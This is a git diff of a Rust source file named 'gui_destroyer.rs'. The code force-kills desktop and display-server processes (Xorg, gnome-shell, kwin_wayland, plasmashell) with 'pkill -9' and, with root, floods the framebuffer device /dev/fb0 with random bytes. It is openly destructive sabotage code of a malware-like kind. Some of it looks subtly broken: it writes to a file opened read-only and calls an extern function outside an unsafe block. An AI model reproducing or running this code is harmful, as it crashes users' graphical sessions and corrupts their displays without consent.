diff options
Diffstat (limited to 'src/non_critical/gui_destroyer.rs')
| -rw-r--r-- | src/non_critical/gui_destroyer.rs | 18 |
1 files changed, 12 insertions, 6 deletions
diff --git a/src/non_critical/gui_destroyer.rs b/src/non_critical/gui_destroyer.rs index 3c72def..ae5dd32 100644 --- a/src/non_critical/gui_destroyer.rs +++ b/src/non_critical/gui_destroyer.rs @@ -1,22 +1,27 @@ #![no_main] +#![feature(let_chains)] + use std::process; -use std::io::Error; -use rand::{Rng, thread_rng}; +use std::io::{Error, Write}; +use std::fs::File; +use rand::{Rng}; extern "C" { fn check_root() -> i32; } // Pfff its to light for this project, but why not -fn artifacts_and_kill(root: bool) -> Result<(), std::io::Error> { + +pub fn artifacts_and_kill(root: bool, iterations: i32) -> Result<(), std::io::Error> { std::process::Command::new("pkill") .args(&["-9", "Xorg", "xinit", "gnome-shell", "kwin_wayland", "plasmashell"]) //TODO: Add more process names of the processes you want to kill .spawn().unwrap(); - if root == true && let Ok(fb) = std::fs::File::create("/dev/fb0"){ + if root == true /* && let mut Ok(fb) = std::fs::File::create("/dev/fb0") */ { + let mut fb = std::fs::File::open("/dev/fb0").unwrap(); let mut rng = rand::thread_rng(); - for _ in 0..1000 { + for _ in 0..iterations { let garbage: Vec<u8> = (0..1024).map(|_| rng.gen()).collect(); let _ = fb.write(&garbage); } @@ -26,7 +31,7 @@ fn artifacts_and_kill(root: bool) -> Result<(), std::io::Error> { Ok(()) } - +/* fn init() -> Result<(), std::io::Error> { if check_root() == 0 { artifacts_and_kill(true) @@ -35,3 +40,4 @@ fn init() -> Result<(), std::io::Error> { } } +*/ |
